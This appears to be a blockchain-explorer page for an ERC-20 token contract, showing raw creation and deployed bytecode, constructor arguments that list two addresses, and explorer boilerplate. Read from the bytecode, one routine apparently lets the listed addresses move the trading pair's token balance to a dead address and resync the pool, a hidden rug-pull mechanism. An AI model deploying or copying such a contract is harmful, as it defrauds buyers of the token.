8f55a4df523b3ef90610f379085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610f639083611456565b6001600160a01b038516600090815260016020526040902055610fa8610f898383611456565b6001600160a01b038516600090815260016020526040902054906113f7565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ff28585611456565b60405190815260200160405180910390a350505050565b6000818484111561102d5760405162461bcd60e51b815260040161040591906114c6565b50600061103a84866117fd565b95945050505050565b600b805460ff60a81b1916600160a81b17905580156111c657600b54600160a01b900460ff16156111c65760408051600280825260608201835260009260208301908036833701905050905030816000815181106110a3576110a3611810565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111209190611790565b8160018151811061113357611133611810565b6001600160a01b039283166020918202929092010152600a5461115991309116846109af565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611192908590600090869030904290600401611826565b600060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b50505050505b50600b805460ff60a81b19169055565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610538573d6000803e3d6000fd5b600082600003611226575060006103d5565b60006112328385611779565b90508261123f8583611897565b146112965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610405565b9392505050565b600061129683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611498565b600b546040516370a0823160e01b81526001600160a01b039091166004820152600090819030906370a0823190602401602060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135091906118b9565b600b5490915061138c906001600160a01b031661dead6113726009600a61176a565b61137d906064611779565b61138790856117fd565b610ad3565b600b546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b1580156113d657600080fd5b505af11580156113ea573d6000803e3d6000fd5b5050505060019250505090565b60008061140483856118d2565b9050838110156112965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610405565b600061129683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611009565b600081836114b95760405162461bcd60e51b815260040161040591906114c6565b50600061103a8486611897565b600060208083528351808285015260005b818110156114f3578581018301518582016040015282016114d7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461152957600080fd5b50565b6000806040838503121561153f57600080fd5b823561154a81611514565b946020939093013593505050565b803563ffffffff8116811461156c57600080fd5b919050565b6000806040838503121561158457600080fd5b61158d83611558565b915061159b60208401611558565b90509250929050565b6000806000606084860312156115b957600080fd5b83356115c481611514565b925060208401356115d481611514565b929592945050506040919091013590565b6000602082840312156115f757600080fd5b813561129681611514565b6000806040838503121561161557600080fd5b823561162081611514565b9150602083013561163081611514565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116c15781600019048211156116a7576116a7611670565b808516156116b457918102915b93841c939080029061168b565b509250929050565b6000826116d8575060016103d5565b816116e5575060006103d5565b81600181146116fb576002811461170557611721565b60019150506103d5565b60ff84111561171657611716611670565b50506001821b6103d5565b5060208310610133831016604e8410600b8410161715611744575081810a6103d5565b61174e8383611686565b806000190482111561176257611762611670565b029392505050565b600061129660ff8416836116c9565b80820281158282048414176103d5576103d5611670565b6000602082840312156117a257600080fd5b815161129681611514565b6000806000606084860312156117c257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ed57600080fd5b8151801515811461129657600080fd5b818103818111156103d5576103d5611670565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118765784516001600160a01b031683529383019391830191600101611851565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118b457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118cb57600080fd5b5051919050565b808201808211156103d5576103d561167056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d787d213e6ad48767f6dbe14720ef9ca320e329e49a941d7a5d1e9a093dbaaf464736f6c63430008130033000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000020000000000000000000000002d8283e49a442b969bb08861cace1fdc62c7bb7d000000000000000000000000e77b5a4a38a9db9ae049af0b1822726281e31f73

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610319578063bf474bed14610339578063c876d0b91461034f578063c9567bf914610369578063dd62ed3e1461037e57600080fd5b806370a0823114610265578063715018a61461029b578063751039fc146102b05780638da5cb5b146102c557806395d89b41146102ed57600080fd5b806318160ddd116100e757806318160ddd146101df57806323b872dd146101f4578063313ce56714610214578063377fe86e1461023057806351bc3c851461025057600080fd5b806306fdde0314610124578063095ea7b3146101695780630faee56f1461019957806312935f5c146101bd57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a81526904d696e696f6e363930360b41b60208201525b60405161016091906114c6565b60405180910390f35b34801561017557600080fd5b5061018961018436600461152c565b6103c4565b6040519015158152602001610160565b3480156101a557600080fd5b506101af60095481565b604051908152602001610160565b3480156101c957600080fd5b506101dd6101d8366004611571565b6103db565b005b3480156101eb57600080fd5b506101af61041f565b34801561020057600080fd5b5061018961020f3660046115a4565b610440565b34801561022057600080fd5b5060405160098152602001610160565b34801561023c57600080fd5b506101dd61024b366004611571565b6104a9565b34801561025c57600080fd5b506101dd6104e4565b34801561027157600080fd5b506101af6102803660046115e5565b6001600160a01b031660009081526001602052604090205490565b3480156102a757600080fd5b506101dd61053c565b3480156102bc57600080fd5b506101dd6105b0565b3480156102d157600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102f957600080fd5b5060408051808201909152600381526209aa0b60eb1b6020820152610153565b34801561032557600080fd5b5061018961033436600461152c565b6105e6565b34801561034557600080fd5b506101af60085481565b34801561035b57600080fd5b506005546101899060ff1681565b34801561037557600080fd5b506101dd6105f3565b34801561038a57600080fd5b506101af610399366004611602565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d13384846109af565b5060015b92915050565b6000546001600160a01b0316331461040e5760405162461bcd60e51b81526004016104059061163b565b60405180910390fd5b63ffffffff91821660065516600755565b600061042d6009600a61176a565b61043b9063041cdb40611779565b905090565b600061044d848484610ad3565b61049f843361049a856040518060600160405280602881526020016118e6602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611009565b6109af565b5060019392505050565b6000546001600160a01b031633146104d35760405162461bcd60e51b81526004016104059061163b565b63ffffffff91821660085516600955565b60055461010090046001600160a01b0316336001600160a01b03161461050957600080fd5b3060009081526001602052604090205480156105285761052881611043565b47801561053857610538816111d6565b5050565b6000546001600160a01b031633146105665760405162461bcd60e51b81526004016104059061163b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105da5760405162461bcd60e51b81526004016104059061163b565b6005805460ff19169055565b60006103d1338484610ad3565b6000546001600160a01b0316331461061d5760405162461bcd60e51b81526004016104059061163b565b600b54600160a01b900460ff16156106775760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610405565b600a80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556106c0913091906106b29060099061176a565b61049a9063041cdb40611779565b600a60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610713573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107379190611790565b6001600160a01b031663c9c6539630600a60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610799573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bd9190611790565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561080a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082e9190611790565b600b80546001600160a01b039283166001600160a01b0319909116179055600a541663f305d7194730610876816001600160a01b031660009081526001602052604090205490565b60008061088b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f3573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091891906117ad565b5050600b54600a5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610971573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099591906117db565b50600b805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610405565b6001600160a01b038216610a725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610405565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610405565b6001600160a01b038216610b995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610405565b60008111610bfb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610405565b600080546001600160a01b03858116911614801590610c2857506000546001600160a01b03848116911614155b15610dce5760055460ff1615610ce657600a546001600160a01b03848116911614801590610c645750600b546001600160a01b03848116911614155b15610ce657326000908152600460205260409020544311610cd35760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610405565b3260009081526004602052604090204390555b610d07612710610d016006548561121490919063ffffffff16565b9061129d565b600b549091506001600160a01b038481169116148015610d3057506001600160a01b0384163014155b15610d5357610d50612710610d016007548561121490919063ffffffff16565b90505b30600090815260016020526040902054600b54600160a81b900460ff16158015610d8a5750600b546001600160a01b038581169116145b8015610d9f5750600b54600160b01b900460ff165b8015610dac575060085481115b15610dcc57610dba81611043565b478015610dca57610dca476111d6565b505b505b6001600160a01b03841660009081526003602052604090205460ff168015610dff57506001600160a01b0384163014155b8015610e1457506001600160a01b0383163014155b8015610e2d5750600b546001600160a01b038481169116145b8015610e425750600b54600160a01b900460ff165b15610e5157610e4f6112df565b505b6001600160a01b03831660009081526003602052604090205460ff1680610e9057506001600160a01b03841660009081526003602052604090205460ff165b80610ebd5750600b546001600160a01b038481169116148015610ebd5750600b54600160b01b900460ff16155b15610ec6575060005b8015610f405730600090815260016020526040902054610ee690826113f7565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f379085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610f639083611456565b6001600160a01b038516600090815260016020526040902055610fa8610f898383611456565b6001600160a01b038516600090815260016020526040902054906113f7565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610ff28585611456565b60405190815260200160405180910390a350505050565b6000818484111561102d5760405162461bcd60e51b815260040161040591906114c6565b50600061103a84866117fd565b95945050505050565b600b805460ff60a81b1916600160a81b17905580156111c657600b54600160a01b900460ff16156111c65760408051600280825260608201835260009260208301908036833701905050905030816000815181106110a3576110a3611810565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111209190611790565b8160018151811061113357611133611810565b6001600160a01b039283166020918202929092010152600a5461115991309116846109af565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611192908590600090869030904290600401611826565b600060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b50505050505b50600b805460ff60a81b19169055565b6005546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610538573d6000803e3d6000fd5b600082600003611226575060006103d5565b60006112328385611779565b90508261123f8583611897565b146112965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610405565b9392505050565b600061129683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611498565b600b546040516370a0823160e01b81526001600160a01b039091166004820152600090819030906370a0823190602401602060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135091906118b9565b600b5490915061138c906001600160a01b031661dead6113726009600a61176a565b61137d906064611779565b61138790856117fd565b610ad3565b600b546040805160016209351760e01b0319815290516001600160a01b0390921691829163fff6cae991600480830192600092919082900301818387803b1580156113d657600080fd5b505af11580156113ea573d6000803e3d6000fd5b5050505060019250505090565b60008061140483856118d2565b9050838110156112965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610405565b600061129683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611009565b600081836114b95760405162461bcd60e51b815260040161040591906114c6565b50600061103a8486611897565b600060208083528351808285015260005b818110156114f3578581018301518582016040015282016114d7565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461152957600080fd5b50565b6000806040838503121561153f57600080fd5b823561154a81611514565b946020939093013593505050565b803563ffffffff8116811461156c57600080fd5b919050565b6000806040838503121561158457600080fd5b61158d83611558565b915061159b60208401611558565b90509250929050565b6000806000606084860312156115b957600080fd5b83356115c481611514565b925060208401356115d481611514565b929592945050506040919091013590565b6000602082840312156115f757600080fd5b813561129681611514565b6000806040838503121561161557600080fd5b823561162081611514565b9150602083013561163081611514565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156116c15781600019048211156116a7576116a7611670565b808516156116b457918102915b93841c939080029061168b565b509250929050565b6000826116d8575060016103d5565b816116e5575060006103d5565b81600181146116fb576002811461170557611721565b60019150506103d5565b60ff84111561171657611716611670565b50506001821b6103d5565b5060208310610133831016604e8410600b8410161715611744575081810a6103d5565b61174e8383611686565b806000190482111561176257611762611670565b029392505050565b600061129660ff8416836116c9565b80820281158282048414176103d5576103d5611670565b6000602082840312156117a257600080fd5b815161129681611514565b6000806000606084860312156117c257600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ed57600080fd5b8151801515811461129657600080fd5b818103818111156103d5576103d5611670565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118765784516001600160a01b031683529383019391830191600101611851565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118b457634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156118cb57600080fd5b5051919050565b808201808211156103d5576103d561167056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d787d213e6ad48767f6dbe14720ef9ca320e329e49a941d7a5d1e9a093dbaaf464736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000020000000000000000000000002d8283e49a442b969bb08861cace1fdc62c7bb7d000000000000000000000000e77b5a4a38a9db9ae049af0b1822726281e31f73

-----Decoded View---------------
Arg [0] : _add (address[]): 0x2D8283e49a442B969bb08861CaCe1Fdc62c7bb7d,0xE77b5A4a38a9Db9ae049aF0b1822726281e31f73

-----Encoded View---------------
4 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000002
Arg [2] : 0000000000000000000000002d8283e49a442b969bb08861cace1fdc62c7bb7d
Arg [3] : 000000000000000000000000e77b5a4a38a9db9ae049af0b1822726281e31f73


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.